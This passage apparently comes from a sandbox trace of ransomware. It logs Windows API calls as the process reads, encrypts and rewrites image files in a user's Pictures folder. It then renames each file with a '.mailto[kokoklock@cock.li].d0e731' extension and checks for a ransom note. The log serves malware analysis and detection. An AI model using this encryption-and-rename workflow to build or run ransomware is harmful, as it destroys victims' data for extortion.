_Dest="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731" [0065.939] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\my4vxcd0r8j6i-at bpl.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\my4vxcd0r8j6i-at bpl.jpg.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.939] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce718) returned 1 [0065.940] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg", dwFileAttributes=0x20) returned 0 [0065.940] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481f78 [0065.940] wcscpy (in: _Dest=0x3481f78, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.940] wcscat (in: _Dest=0x3481f78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.940] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481f78) returned 1 [0065.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e570) returned 1 [0065.940] RtlExitUserThread (Status=0x1) Thread: id = 347 os_tid = 0x13e4 [0065.942] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\n3cu4iuu_-xu48.gif")) returned 0x20 [0065.942] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif", dwFileAttributes=0x20) returned 1 [0065.942] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\n3cu4iuu_-xu48.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.942] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xfbbf944 | out: lpFileSize=0xfbbf944*=29155) returned 1 [0065.942] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x71df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.942] ReadFile (in: hFile=0x7c8, lpBuffer=0xfbbf918, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfbbf914, lpOverlapped=0x0 | out: lpBuffer=0xfbbf918*, lpNumberOfBytesRead=0xfbbf914*=0x4, lpOverlapped=0x0) returned 1 [0065.942] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.942] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0065.942] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be870 [0065.942] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be898 [0065.942] NtQuerySystemTime (in: CurrentTime=0xfbbf8f0 | out: CurrentTime=0xfbbf8f0*=132121176238309045) returned 0x0 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xedffeefc [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xa4063a43 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x4541ebcd [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xca20c137 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x180333ec [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xc58236ed [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xc78ee781 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x2eb7bc76 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xb2164529 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x67f48408 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x97413e81 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x5ca6b7e [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x80e2a838 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xa8ce067d [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x1999f783 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x63812a53 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xd90d0644 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xf332902a [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x16fde614 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x2e1c2899 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xbb360a18 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xc5e48138 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xfd00258 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xc2baa0fb [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x286781d7 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x7293a685 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x4c1dc5fe [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x99fa0126 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x6f779520 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0x2eab1b44 [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xa959ff4b [0065.943] RtlRandom (in: Seed=0xfbbf8fc | out: Seed=0xfbbf8fc) returned 0xc4adbcd3 [0065.954] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.954] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xfbbf8c8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xfbbf8c8*=0x4096, lpOverlapped=0x0) returned 1 [0065.955] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8e8 [0065.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be8e8) returned 1 [0065.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8e8 [0065.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be910 [0065.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be910) returned 1 [0065.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.955] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xfbbf8c8, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xfbbf8c8*=0x4096, lpOverlapped=0x0) returned 1 [0065.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.956] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x71e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.956] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be8e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfbbf900, lpOverlapped=0x0 | out: lpBuffer=0x34be8e8*, lpNumberOfBytesWritten=0xfbbf900*=0x20, lpOverlapped=0x0) returned 1 [0065.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be8e8) returned 1 [0065.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.956] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be960*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xfbbf914, lpOverlapped=0x0 | out: lpBuffer=0x34be960*, lpNumberOfBytesWritten=0xfbbf914*=0x8, lpOverlapped=0x0) returned 1 [0065.956] WriteFile (in: hFile=0x7c8, lpBuffer=0xfbbf92c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfbbf914, lpOverlapped=0x0 | out: lpBuffer=0xfbbf92c*, lpNumberOfBytesWritten=0xfbbf914*=0x4, lpOverlapped=0x0) returned 1 [0065.956] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfbbf914, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xfbbf914*=0x4, lpOverlapped=0x0) returned 1 [0065.956] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xfbbf914, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xfbbf914*=0x6c, lpOverlapped=0x0) returned 1 [0065.956] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfbbf914, lpOverlapped=0x0 | out: lpBuffer=0x34be870*, lpNumberOfBytesWritten=0xfbbf914*=0x20, lpOverlapped=0x0) returned 1 [0065.956] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfbbf914, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xfbbf914*=0x4, lpOverlapped=0x0) returned 1 [0065.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be870) returned 1 [0065.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be8c0) returned 1 [0065.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be960) returned 1 [0065.956] CloseHandle (hObject=0x7c8) returned 1 [0065.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e67c8 [0065.958] wcscpy (in: _Dest=0x33e67c8, _Source="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif") returned="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif" [0065.958] wcscat (in: _Dest=0x33e67c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731" [0065.958] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\n3cu4iuu_-xu48.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\n3cu4iuu_-xu48.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.958] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e67c8) returned 1 [0065.959] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif", dwFileAttributes=0x20) returned 0 [0065.959] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481f78 [0065.959] wcscpy (in: _Dest=0x3481f78, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.959] wcscat (in: _Dest=0x3481f78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.959] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481f78) returned 1 [0065.959] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481c78) returned 1 [0065.959] RtlExitUserThread (Status=0x1) Thread: id = 348 os_tid = 0x13e8 [0065.960] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\n7ljw0zvpu.jpg")) returned 0x20 [0065.960] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg", dwFileAttributes=0x20) returned 1 [0065.960] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\n7ljw0zvpu.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.961] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xfc3fb1c | out: lpFileSize=0xfc3fb1c*=15201) returned 1 [0065.961] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x3b5d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.961] ReadFile (in: hFile=0x7c8, lpBuffer=0xfc3faf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfc3faec, lpOverlapped=0x0 | out: lpBuffer=0xfc3faf0*, lpNumberOfBytesRead=0xfc3faec*=0x4, lpOverlapped=0x0) returned 1 [0065.961] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.961] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0065.961] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be870 [0065.961] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8c0 [0065.961] NtQuerySystemTime (in: CurrentTime=0xfc3fac8 | out: CurrentTime=0xfc3fac8*=132121176238465468) returned 0x0 [0065.961] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x48606eb0 [0065.961] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0xcc6ab7f4 [0065.961] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x499d076c [0065.961] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x46d6bec3 [0065.961] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x13b8a388 [0065.961] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x776327ae [0065.961] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x8edc519b [0065.961] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x37905f8d [0065.961] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x802f1022 [0065.961] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x330b5937 [0065.961] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0xf622b052 [0065.961] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x7a502825 [0065.961] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x49a0782e [0065.961] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x4dd48660 [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0xb7560a77 [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0xb93f0151 [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x51691ec7 [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x6fada29b [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0xd6dcec9f [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0xea0b65bf [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0xb5e1ccf2 [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0xf19ba6a8 [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x71e927b6 [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x902b8e55 [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0xfd332f93 [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0xa3a87880 [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x3af6556a [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0xdf5d22c6 [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0xfacc7836 [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0x384bc716 [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0xa374d9da [0065.962] RtlRandom (in: Seed=0xfc3fad4 | out: Seed=0xfc3fad4) returned 0xd93de0e7 [0065.973] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x3b61, lpNumberOfBytesRead=0xfc3fac8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xfc3fac8*=0x3b61, lpOverlapped=0x0) returned 1 [0065.973] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xfc3fa90 | out: lpNewFilePointer=0x0) returned 1 [0065.973] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x3b61, lpNumberOfBytesWritten=0xfc3fac4, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xfc3fac4*=0x3b61, lpOverlapped=0x0) returned 1 [0065.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be910 [0065.973] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0065.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0065.974] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be910*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfc3fac0, lpOverlapped=0x0 | out: lpBuffer=0x34be910*, lpNumberOfBytesWritten=0xfc3fac0*=0x20, lpOverlapped=0x0) returned 1 [0065.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be910) returned 1 [0065.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.974] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be960*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xfc3faec, lpOverlapped=0x0 | out: lpBuffer=0x34be960*, lpNumberOfBytesWritten=0xfc3faec*=0x8, lpOverlapped=0x0) returned 1 [0065.974] WriteFile (in: hFile=0x7c8, lpBuffer=0xfc3fb04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfc3faec, lpOverlapped=0x0 | out: lpBuffer=0xfc3fb04*, lpNumberOfBytesWritten=0xfc3faec*=0x4, lpOverlapped=0x0) returned 1 [0065.974] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfc3faec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xfc3faec*=0x4, lpOverlapped=0x0) returned 1 [0065.974] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xfc3faec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xfc3faec*=0x6c, lpOverlapped=0x0) returned 1 [0065.974] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfc3faec, lpOverlapped=0x0 | out: lpBuffer=0x34be870*, lpNumberOfBytesWritten=0xfc3faec*=0x20, lpOverlapped=0x0) returned 1 [0065.974] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfc3faec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xfc3faec*=0x4, lpOverlapped=0x0) returned 1 [0065.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be870) returned 1 [0065.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be8e8) returned 1 [0065.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be960) returned 1 [0065.974] CloseHandle (hObject=0x7c8) returned 1 [0065.976] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eb270 [0065.976] wcscpy (in: _Dest=0x33eb270, _Source="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg" [0065.976] wcscat (in: _Dest=0x33eb270, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731" [0065.976] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\n7ljw0zvpu.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\n7ljw0zvpu.jpg.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.976] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.977] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb270) returned 1 [0065.977] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg", dwFileAttributes=0x20) returned 0 [0065.977] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481f78 [0065.977] wcscpy (in: _Dest=0x3481f78, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.977] wcscat (in: _Dest=0x3481f78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.977] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481f78) returned 1 [0065.978] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430bd0) returned 1 [0065.978] RtlExitUserThread (Status=0x1) Thread: id = 349 os_tid = 0x13ec [0065.979] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\nh7z83zmbfhc.gif")) returned 0x20 [0065.979] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif", dwFileAttributes=0x20) returned 1 [0065.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\nh7z83zmbfhc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.979] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xfcbf8ac | out: lpFileSize=0xfcbf8ac*=6315) returned 1 [0065.979] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x18a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.979] ReadFile (in: hFile=0x7c8, lpBuffer=0xfcbf880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfcbf87c, lpOverlapped=0x0 | out: 